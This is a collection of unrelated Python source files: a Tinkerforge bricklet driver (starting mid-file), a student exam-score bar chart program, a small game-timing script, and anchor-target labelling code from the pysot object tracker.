                raise Exception('exact same value read')
        except:
            max_v = 0
            for x in range(self.measurements):
                max_v = max_v+self.Device.get_voltage()
        av_v = round(float(max_v)/self.measurements,4)
        return float((max_v/1000)-self.Calibration)
class tfCurrentSensor(hal.CurrentSensor):
    def __init__(self, id, devicetype, parent=None,measurements=1):
        tmp = findDeviceType(id,devicetype)
        self.measurements=measurements
        hal.CurrentSensor.__init__(self,id,parent,measurements)
        self.Device = tmp
        self.Device = tmp
        #                      4,1.1ms  ,332us
        self.Device.set_configuration(BrickletVoltageCurrent.AVERAGING_4,4      ,3    )
        self.last_value = None
    def Init(self):
        try:
            self.Device.reset()
        except BaseException as e:
            self.logger.warn('Init failed:'+str(e))
    def Current(self,Port=1,measurements=None):
        if not self.measurements:
            self.measurements = 1
        if measurements!=None:
            self.measurements=measurements
        try:
            max_curr = 0
            for x in range(self.measurements):
                self.last_value = self.Device.get_current()
                max_curr = max_curr+self.last_value
            if (float(max_curr)/self.measurements) == self.last_value and self.last_value != 0 and self.measurements>1:
                self.Device.reset()
                raise Exception('exact same value read')
        except:
            self.Device.set_configuration(BrickletVoltageCurrent.AVERAGING_4,4      ,3    )
            max_curr = 0
            for x in range(self.measurements):
                max_curr = max_curr+self.Device.get_current()
        av_curr = round(float(max_curr)/self.measurements,4)
        #print('Time:',(time.time() - start)*1000)# = ca50ms
        return float(av_curr-self.Calibration)
class tfColorSensor(hal.ColorSensor,hal.IlluminanceSensor):
    def __init__(self, id, devicetype, parent=None):
        tmp = findDeviceType(id,devicetype)
        hal.Sensor.__init__(self,id,parent)
        self.Device = tmp
    def Color(self,Port=1):
        return self.Device.get_color()
    def Illuminance(self, Port=1):
        return self.Device.get_illuminance(),'lux'
class tfRelaisBricklet(hal.Relais):
    def __init__(self, id, devicetype, parent=None):
        tmp = findDeviceType(id,devicetype)
        hal.Actor.__init__(self,id,parent)
        self.Device = tmp
        if self.Device.device_identifier == 26:
            self.Values = list(self.Device.get_state())
        elif self.Device.device_identifier == 225:
            tmp = self.Device.get_value() #int
            self.Values = [False,False,False,False]
        else:
            self.Values = list(self.Device.get_value())
    def output(self,port,val):
        self.Values[self.getPin(port)] = val
        try:
            if self.Device.device_identifier == 26:
                self.Device.set_state(self.Values[0],self.Values[1])
            elif self.Device.device_identifier == 225:
                tmp = 0
                for port in range(4):
                    if Values[port]:
                        tmp = tmp | (1<<port)
                self.Device.set_value(tmp)
            else:
                self.Device.set_value(self.Values)
            return True
        except:
            return False
    def __str__(self):
        try:
            ret = hal.Sensor.__str__(self)+' Status:'+str(self.Values)
            return  ret
        except:
            return hal.Sensor.__str__(self)
class tfIOBricklet(hal.GPIOActor):
    def __init__(self, id, devicetype, parent=None):
        tmp = findDeviceType(id,devicetype)
        hal.Actor.__init__(self,id,parent)
        self.Device = tmp
    def setup(self,port,direction):
        port = self.getPin(port)
        if direction == 'in':
            if type(self.Device) is BrickletIO16:
                if port < 8:
                    tmp = self.Device.get_port_configuration('a').direction_mask
                    tmp = tmp | (1<<port)
                    self.Device.set_port_configuration('a',tmp,'i',True)
                else:
                    tmp = self.Device.get_port_configuration('b').direction_mask
                    tmp = tmp | (1<<(port-8))
                    self.Device.set_port_configuration('b',tmp,'i',True)
            else:
                self.Device.set_configuration(port,'i',True)
        if direction == 'out':
            if type(self.Device) is BrickletIO16:
                if port < 8:
                    tmp = self.Device.get_port_configuration('a').direction_mask ^ 0xFF
                    tmp = tmp | (1<<port)
                    self.Device.set_port_configuration('a',tmp,'o',False)
                else:
                    tmp = self.Device.get_port_configuration('b').direction_mask ^ 0xFF
                    tmp = tmp | (1<<(port-8))
                    self.Device.set_port_configuration('b',tmp,'o',False)
            else:
                self.Device.set_configuration(port,'o',False)
        if direction == 'tristate':
            if type(self.Device) is BrickletIO16:
                if port < 8:
                    tmp = self.Device.get_port_configuration('a').direction_mask
                    tmp = tmp | (1<<port)
                    self.Device.set_port_configuration('a',tmp,'i',False)
                else:
                    tmp = self.Device.get_port_configuration('b').direction_mask
                    tmp = tmp | (1<<(port-8))
                    self.Device.set_port_configuration('b',tmp,'i',False)
            else:
                self.Device.set_configuration(port,'i',False)
    def output(self,port,val):
        port = self.getPin(port)
        if val:
            val = 1
        else:
            val = 0
        if type(self.Device) is BrickletIO16:
            if port < 8:
                self.Device.set_selected_values('a',(1<<port),(val<<port))
            else:
                self.Device.set_selected_values('b',(1<<(port-8)),(val<<(port-8)))
        else:
            self.Device.set_selected_value(port,val)
    def input(self,port):
        port = self.getPin(port)
        return self.Device.get_value()[port]
def cb_enumerate(uid, connected_uid, position, hardware_version, firmware_version,device_identifier, enumeration_type):# Register incoming enumeration
   logging.debug("cb_enumerate(): %s %s %s %s %s %d" % (uid, connected_uid, position, str(hardware_version), str(firmware_version) ,device_identifier))
   if enumeration_type == IPConnection.ENUMERATION_TYPE_DISCONNECTED:
      #print("cb_enumerate().Disconnected: " + str(enumeration_type) + " UID: " + uid+" DID: "+str(device_identifier))
      aSensor = hal.Devices.find(uid)
      if aSensor:
        del(aSensor)
      return
   if enumeration_type == IPConnection.ENUMERATION_TYPE_CONNECTED or \
           enumeration_type == IPConnection.ENUMERATION_TYPE_AVAILABLE:
      #print("cb_enumerate().Connected Type: " + str(enumeration_type) + " UID: " + uid+" DID: "+str(device_identifier))
      aParent = hal.Devices.find(connected_uid)
      if aParent:
        if device_identifier == 227 or device_identifier == 2105: # voltage current brick
            if hal.Devices.find(uid,hal.VoltageSensor) == None:
                tfVoltageSensor(uid,device_identifier,aParent)
                tfCurrentSensor(uid,device_identifier,aParent)
        if device_identifier == 28\
        or device_identifier == 2114: #io16 Bricklet
            if hal.Devices.find(uid,tfIOBricklet) == None:
                tfIOBricklet(uid,device_identifier,aParent)
        if device_identifier == 243 or device_identifier == 2128: #Color Bricklet
            if hal.Devices.find(uid,hal.ColorSensor) == None:
                tfColorSensor(uid,device_identifier,aParent)
        if device_identifier == 26\
        or device_identifier == 284\
        or device_identifier == 225\
        or device_identifier == 2102:
            if hal.Devices.find(uid,tfRelaisBricklet) == None:
                tfRelaisBricklet(uid,device_identifier,aParent)
        if device_identifier == 2157:
            if hal.Devices.find(uid,tfRelaisBricklet) == None:
                sb = tfServoActor(uid,device_identifier,aParent)
                sc = tfServoCurrentSensor(uid,device_identifier,parent=sb)
                sc.Name = 'servo'
        else:
            if hal.Devices.find(uid) == None:
                tfUnknownBricklet(uid,device_identifier,aParent)
      else:
        if device_identifier == 13: #Master
            if hal.Devices.find(uid,tfMasterBrick) == None:
                tfMasterBrick(uid,device_identifier)
        if device_identifier == 14: #Servo
            if hal.Devices.find(uid,tfServoBrick) == None:
                sb = tfServoBrick(uid,device_identifier)
                tfServoActor(uid,device_identifier,sb)
                sc = tfServoCurrentSensor(uid,device_identifier,parent=sb)
                sc.Name = 'servo'
        #11 	DC Brick
        #13 	Master Brick
        #14 	Servo Brick
        #15 	Stepper Brick
        #16 	IMU Brick
        #17 	RED Brick
        #18 	IMU Brick 2.0
        #19 	Silent Stepper Brick
        #21 	Ambient Light Bricklet
        #23 	Current12 Bricklet
        #24 	Current25 Bricklet
        #25 	Distance IR Bricklet
        #26 	Dual Relay Bricklet
        #27 	Humidity Bricklet
        #28 	IO-16 Bricklet
        #29 	IO-4 Bricklet
        #111 	HAT Brick
        #112 	HAT Zero Brick
        #210 	Joystick Bricklet
        #211 	LCD 16x2 Bricklet
        #212 	LCD 20x4 Bricklet
        #213 	Linear Poti Bricklet
        #214 	Piezo Buzzer Bricklet
        #215 	Rotary Poti Bricklet
        #216 	Temperature Bricklet
        #217 	Temperature IR Bricklet
        #218 	Voltage Bricklet
        #219 	Analog In Bricklet
        #220 	Analog Out Bricklet
        #221 	Barometer Bricklet
        #222 	GPS Bricklet
        #223 	Industrial Digital In 4 Bricklet
        #224 	Industrial Digital Out 4 Bricklet
        #225 	Industrial Quad Relay Bricklet
        #226 	PTC Bricklet
        #227 	Voltage/Current Bricklet
        #228 	Industrial Dual 0-20mA Bricklet
        #229 	Distance US Bricklet
        #230 	Dual Button Bricklet
        #231 	LED Strip Bricklet
        #232 	Moisture Bricklet
        #233 	Motion Detector Bricklet
        #234 	Multi Touch Bricklet
        #235 	Remote Switch Bricklet
        #236 	Rotary Encoder Bricklet
        #237 	Segment Display 4x7 Bricklet
        #238 	Sound Intensity Bricklet
        #239 	Tilt Bricklet
        #240 	Hall Effect Bricklet
        #241 	Line Bricklet
        #242 	Piezo Speaker Bricklet
        #243 	Color Bricklet
        #244 	Solid State Relay Bricklet
        #246 	NFC/RFID Bricklet
        #249 	Industrial Dual Analog In Bricklet
        #250 	Accelerometer Bricklet
        #251 	Analog In Bricklet 2.0
        #253 	Load Cell Bricklet
        #254 	RS232 Bricklet
        #255 	Laser Range Finder Bricklet
        #256 	Analog Out Bricklet 2.0
        #258 	Industrial Analog Out Bricklet
        #259 	Ambient Light Bricklet 2.0
        #260 	Dust Detector Bricklet
        #262 	CO2 Bricklet
        #263 	OLED 128x64 Bricklet
        #264 	OLED 64x48 Bricklet
        #265 	UV Light Bricklet
        #266 	Thermocouple Bricklet
        #267 	Motorized Linear Poti Bricklet
        #268 	Real-Time Clock Bricklet
        #270 	CAN Bricklet
        #271 	RGB LED Bricklet
        #272 	RGB LED Matrix Bricklet
        #276 	GPS Bricklet 2.0
        #277 	RS485 Bricklet
        #278 	Thermal Imaging Bricklet
        #279 	XMC1400 Breakout Bricklet
        #282 	RGB LED Button Bricklet
        #283 	Humidity Bricklet 2.0
        #284 	Industrial Dual Relay Bricklet
        #285 	DMX Bricklet
        #286 	NFC Bricklet
        #288 	Outdoor Weather Bricklet
        #289 	Remote Switch Bricklet 2.0
        #290 	Sound Pressure Level Bricklet
        #291 	Temperature IR Bricklet 2.0
        #292 	Motion Detector Bricklet 2.0
        #293 	Industrial Counter Bricklet
        #294 	Rotary Encoder Bricklet 2.0
        #295 	Analog In Bricklet 3.0
        #296 	Solid State Relay Bricklet 2.0
        #297 	Air Quality Bricklet
        #298 	LCD 128x64 Bricklet
        #299 	Distance US Bricklet 2.0
        #2100 	Industrial Digital In 4 Bricklet 2.0
        #2101 	PTC Bricklet 2.0
        #2102 	Industrial Quad Relay Bricklet 2.0
        #2103 	LED Strip Bricklet 2.0
        #2104 	Load Cell Bricklet 2.0
        #2105 	Voltage/Current Bricklet 2.0
        #2106 	Real-Time Clock Bricklet 2.0
        #2107 	CAN Bricklet 2.0
        #2108 	RS232 Bricklet 2.0
        #2109 	Thermocouple Bricklet 2.0
        #2110 	Particulate Matter Bricklet
        #2111 	IO-4 Bricklet 2.0
        #2112 	OLED 128x64 Bricklet 2.0
        #2113 	Temperature Bricklet 2.0
        #2114 	IO-16 Bricklet 2.0
        #2115 	Analog Out Bricklet 3.0
        #2116 	Industrial Analog Out Bricklet 2.0
        #2117 	Barometer Bricklet 2.0
        #2118 	UV Light Bricklet 2.0
        #2119 	Dual Button Bricklet 2.0
        #2120 	Industrial Dual 0-20mA Bricklet 2.0
        #2121 	Industrial Dual Analog In Bricklet 2.0
        #2122 	Isolator Bricklet
        #2123 	One Wire Bricklet
        #2124 	Industrial Digital Out 4 Bricklet 2.0
        #2125 	Distance IR Bricklet 2.0
        #2127 	RGB LED Bricklet 2.0
        #2128 	Color Bricklet 2.0
        #2129 	Multi Touch Bricklet 2.0
        #2130 	Accelerometer Bricklet 2.0
        #2131 	Ambient Light Bricklet 3.0
        #2132 	Hall Effect Bricklet 2.0
        #2137 	Segment Display 4x7 Bricklet 2.0
        #2138 	Joystick Bricklet 2.0
        #2139 	Linear Poti Bricklet 2.0
        #2140 	Rotary Poti Bricklet 2.0
        #2144 	Laser Range Finder Bricklet 2.0
        #2145 	Piezo Speaker Bricklet 2.0
        #2146 	E-Paper 296x128 Bricklet
        #2147 	CO2 Bricklet 2.0
        #2152 	Energy Monitor Bricklet
        #2153 	Compass Bricklet
        #2161 	IMU Bricklet 3.0
# Register Enumerate Callback
class tfEnumerate(threading.Thread):
    def __init__(self):
        threading.Thread.__init__(self)
    def run(self):
        global ipcon
        isexception = False
        try:
            ipcon = IPConnection()
            if ipcon.get_connection_state()!=IPConnection.CONNECTION_STATE_CONNECTED:
                ipcon.connect("localhost", 4223)
                ipcon.register_callback(IPConnection.CALLBACK_ENUMERATE, cb_enumerate)
                ipcon.time_out = 0.5
            ipcon.enumerate()
            time.sleep(0.3)
        except:
            logging.debug("Tinkerforge:failed connecting to IP Connection")
            pass
enumerate = tfEnumerate()
enumerate.start()
def deinit():
    ipcon.disconnect()
    enumerate.kill()
    del(ipcon)


# File:            exam_bar_chart-progex5.15.py
# Date:            2019-12-03
# Author:          "Hannes Thiersen" <hannesthiersen@gmail.com>
# Version:         0.1
# Description:
#   Write a program to plot a horizontal bar chart of student exam scores. Your
#   program should get input from a file. The first line of the file contains
#   the count of the number of students in the file, and each subsequent line
#   contains a student's last name followed by a score in the range 0 to 100.
#   Your program should draw a horizontal rectangle for each student where the
#   length of the bar represents the student's score. The bars should all line
#   up on their left-hand edges. Hint" use the number of students to determine
#   the size of the window and its coordinates. Bonus: label the bars at the
#   left end with the student name.

#------------------------------------------------------------------------------
# IMPORTS
#------------------------------------------------------------------------------
from graphics import *

#------------------------------------------------------------------------------
# FUNCTIONS
#------------------------------------------------------------------------------
def main():

    inname = input("Input file: ")
    with open(inname, "r") as infile:
        total = eval(infile.readline())
        grades = dict()
        for line in infile:
            name, score = line.split()
            grades[name] = eval(score)

    print(grades)

    # Create a graphics window with labels on left edge
    width, height = 320, 240
    ratio = width/height
    win = GraphWin("Student Exam Scores", width, height)
    win.setBackground("white")

    cw = total*ratio
    win.setCoords(0, 0, cw, total)
    barindent = .4*cw
    barmaxlen = .6*cw
    count = 0

    for student, grade in sorted(grades.items()):
        Text(
                Point(.2*cw, count + .5),
                student
                ).draw(win)
        Rectangle(
                Point(barindent, count + .1),
                Point(barindent + barmaxlen*grade/100, count + .9)
                ).draw(win)
        count+=1

    input("<Enter> to exit")
    win.close()

#------------------------------------------------------------------------------
# MAIN
#------------------------------------------------------------------------------
if __name__ == '__main__':
    main()


#this works 100% was tested jan 8 2022

from datetime import datetime, timedelta
#from beige import Beige

#input
turns = 7
heures = turns * 2

#calculations
if datetime.now().hour % 2 == 0:
    outOfBeige = datetime.now().replace(microsecond=0, second=0, minute=0) + timedelta(hours=heures)
else:
    outOfBeige = datetime.now().replace(microsecond=0, second=0, minute=0) + timedelta(hours=heures-1)

#output
print("Turns left: %s " % turns)
print("Hours left: %s " % heures)
print("Out of beige at:")
print(outOfBeige)

#land (not relevant to above)
moneyAvailable = 2,327,183.43
currentLand = 3000.0


from __future__ import (absolute_import, division, print_function,
                        unicode_literals)

import os
import time

import ipdb
import numpy as np
from pysot.core.config import cfg
from pysot.utils.anchor import Anchors
from pysot.utils.bbox import IoU, corner2center, target_delta, target_overlaps
from pysot.utils.check_image import draw_box, save_image

DEBUG = cfg.DEBUG

class AnchorTarget:
    def __init__(self):
        self.anchors = Anchors(cfg.ANCHOR.STRIDE,
                               cfg.ANCHOR.RATIOS,
                               cfg.ANCHOR.SCALES)

        self.anchors.generate_all_anchors(im_c=cfg.TRAIN.SEARCH_SIZE // 2,
                                          size=cfg.TRAIN.OUTPUT_SIZE)

        self._allowed_border = cfg.TRAIN.ALLOWED_BORDER

    def __call__(self, target, size, neg=False, index=None):
        """
        Args:
            target: box (x1, y1, x2, y2)
            size: cfg.TRAIN.OUTPUT_SIZE
        Return:
            cls: anchor 的類別 (-1 ignore, 0 negative, 1 positive)
            delta:
            delta_weight:
            overlap:
        """
        # anchor_num = len(cfg.ANCHOR.RATIOS) * len(cfg.ANCHOR.SCALES)
        anchor_num = cfg.ANCHOR.ANCHOR_NUM

        # -1 ignore 0 negative 1 positive
        cls = -1 * np.ones((anchor_num, size, size), dtype=np.int64)
        delta = np.zeros((4, anchor_num, size, size), dtype=np.float32)
        delta_weight = np.zeros((anchor_num, size, size), dtype=np.float32)

        def select(position, keep_num=16):
            num = position[0].shape[0]
            if num <= keep_num:
                return position, num
            slt = np.arange(num)
            np.random.shuffle(slt)
            slt = slt[:keep_num]
            return tuple(p[slt] for p in position), keep_num

        tcx, tcy, tw, th = corner2center(target)

        if neg:
            # l = size // 2 - 3
            # r = size // 2 + 3 + 1
            # cls[:, l:r, l:r] = 0

            # randomly get only "one" target from all targets
            random_pick = np.random.randint(low=len(tcx), size=1)
            tcx = tcx[random_pick]
            tcy = tcy[random_pick]

            cx = size // 2
            cy = size // 2
            cx += int(np.ceil((tcx - cfg.TRAIN.SEARCH_SIZE // 2) /
                      cfg.ANCHOR.STRIDE + 0.5))
            cy += int(np.ceil((tcy - cfg.TRAIN.SEARCH_SIZE // 2) /
                      cfg.ANCHOR.STRIDE + 0.5))
            l = max(0, cx - 3)
            r = min(size, cx + 4)
            u = max(0, cy - 3)
            d = min(size, cy + 4)
            cls[:, u:d, l:r] = 0

            neg, neg_num = select(np.where(cls == 0), cfg.TRAIN.NEG_NUM)
            cls[:] = -1
            cls[neg] = 0

            overlap = np.zeros((anchor_num, size, size), dtype=np.float32)
            return cls, delta, delta_weight, overlap

        # anchor_box: [(x1, y1, x2, y2)=4, anchor_num=5, feature_width=25, feature_height=25]
        # anchor_center: [(cx, cy, w, h)=4, anchor_num=5, feature_width=25, feature_height=25]
        # print(f"anchor_box: {anchor_box[:, 0, 0, 0]}")
        # ipdb.set_trace()

        anchor_box = self.anchors.all_anchors[0]
        anchor_center = self.anchors.all_anchors[1]
        x1, y1, x2, y2 = anchor_box[0], anchor_box[1], \
            anchor_box[2], anchor_box[3]
        cx, cy, w, h = anchor_center[0], anchor_center[1], \
            anchor_center[2], anchor_center[3]

        # 把 target 疊起來變成 (4, K)
        target_stack = np.stack((target[0], target[1], target[2], target[3]))

        # TODO: only keep anchors inside the image
        # print(f"anchor_box: {anchor_box.shape}")

        # anchor_box_shape = anchor_box.shape[-3:]
        # for i in range(anchor_box.shape[0]):
        #     anchor_box = anchor_box.reshape((4, -1))
        #     anchor_center = anchor_center.reshape((4, -1))
        # idxs_inside = np.where(
        #     (anchor_box[0] >= -self._allowed_border)
        #     & (anchor_box[1] >= -self._allowed_border)
        #     & (anchor_box[2] < cfg.TRAIN.SEARCH_SIZE + self._allowed_border)
        #     & (anchor_box[3] < cfg.TRAIN.SEARCH_SIZE + self._allowed_border)
        # )[0]

        # print(f"idx_inside: {idxs_inside.shape}")
        # anchor_box = anchor_box[:, idxs_inside]
        # anchor_center = anchor_center[:, idxs_inside]

        # for i in range(anchor_box.shape[0]):
        #     anchor_box[i] = anchor_box[i].reshape((4, *anchor_box_shape))
        #     anchor_center[i] = anchor_center[i].reshape((4, *anchor_box_shape))

        # 多個 target 的 overlap 算法

        overlaps = target_overlaps(
            np.ascontiguousarray(anchor_box, dtype=np.float32),
            np.ascontiguousarray(target_stack, dtype=np.float32))       # overlaps: (N, K)

        # 找 anchor 要對應到哪個 target
        # 參考 https://github.com/rbgirshick/py-faster-rcnn/blob/781a917b378dbfdedb45b6a56189a31982da1b43/lib/rpn/anchor_target_layer.py#L130
        # fg label: for each gt, anchor with highest overlap
        gt_argmax_overlaps = overlaps.argmax(axis=0)
        gt_max_overlaps = overlaps[gt_argmax_overlaps,
                                   np.arange(overlaps.shape[1])]
        gt_argmax_overlaps = np.where(overlaps == gt_max_overlaps)[0]
        # fg label: for each anchor, gt with the highest overlap
        argmax_overlaps = overlaps.argmax(axis=1)       # argmax_overlaps: (all_anchor_num, )
        max_overlaps = overlaps[np.arange(overlaps.shape[0]), argmax_overlaps]

        # 我確定這個 reshape 不會影響排列順序
        max_overlaps = np.reshape(max_overlaps, anchor_box.shape[-3:])
        assert max_overlaps[max_overlaps < 0].size == 0, "max_overlaps has iou smaller than 0!!!"
        assert max_overlaps[max_overlaps > 1].size == 0, "max_overlaps has iou bigger than 1!!!"

        # 遇到多個 target 的問題了
        # 參考 https://github.com/matterport/Mask_RCNN/blob/3deaec5d902d16e1daf56b62d5971d428dc920bc/mrcnn/model.py#L1526
        delta = target_delta(anchor_center, target, argmax_overlaps)    # delta: (4, anchor_num, 25, 25)

        # delta[0] = (tcx - cx) / w
        # delta[1] = (tcy - cy) / h
        # delta[2] = np.log(tw / w)
        # delta[3] = np.log(th / h)

        # max_overlaps = IoU([x1, y1, x2, y2], target)

        # fg label: above threshold IOU
        pos = np.where(max_overlaps > cfg.TRAIN.THR_HIGH)        # pos (positive): 3維的，就是 anchor_box[-3:] 的維度
        neg = np.where(max_overlaps < cfg.TRAIN.THR_LOW)

        pos, pos_num = select(pos, cfg.TRAIN.POS_NUM)           # 最多只會選 16 個 anchors 出來
        neg, neg_num = select(neg, cfg.TRAIN.TOTAL_NUM - cfg.TRAIN.POS_NUM)

        cls = np.reshape(cls, (-1))
        cls[gt_argmax_overlaps] = 1     # 將與 gt 有最大 IoU 的直接判為 fg
        cls = np.reshape(cls, (anchor_num, size, size))
        cls[pos] = 1                    # 將所有的 anchor 與 gt 的 IoU 有大於 threshold 的判為 fg
        delta_weight[pos] = 1. / (pos_num + 1e-6)       # 正樣本的 anchor 數量越少, weight 越高 (why)
        # 這個 delta_weight 讓我找好久... 07/14/2022

        cls[neg] = 0

        # 印出原本的 anchor
        all_anchors = self.anchors.all_anchors[0].copy()
        all_anchors[2] = all_anchors[2] - all_anchors[0]
        all_anchors[3] = all_anchors[3] - all_anchors[1]

        # anchor = all_anchors[:, 0:1, -1, 0]      # 選要哪一個 anchor
        # anchor = np.transpose(anchor, (1, 0))
        # img = np.zeros((cfg.TRACK.INSTANCE_SIZE, cfg.TRACK.INSTANCE_SIZE, 3))   # 製作黑色底圖
        # anchor_image = draw_box(img, anchor)
        # anchor_dir = "./image_check/train/anchor/"
        # anchor_path = os.path.join(anchor_dir, "anchor.jpg")
        # save_image(anchor_image, anchor_path)
        # print(f"save anchor image to: {anchor_path}")

        # # 把 anchor 印出來
        # pos = np.where(cls == 1)
        # pos_anchors = all_anchors[:, pos[0], pos[1], pos[2]]
        # pos_anchors = np.transpose(pos_anchors, (1, 0))
        # img = np.zeros((cfg.TRACK.INSTANCE_SIZE, cfg.TRACK.INSTANCE_SIZE, 3))   # 製作黑色底圖
        # pos_image = draw_box(img, pos_anchors)
        # pos_dir = "./image_check/train/pos/"
        # pos_path = os.path.join(pos_dir, f"{index}.jpg")
        # save_image(pos_image, pos_path)
        # print(f"save pos image to: {pos_path}")

        # ipdb.set_trace()

        return cls, delta, delta_weight, max_overlaps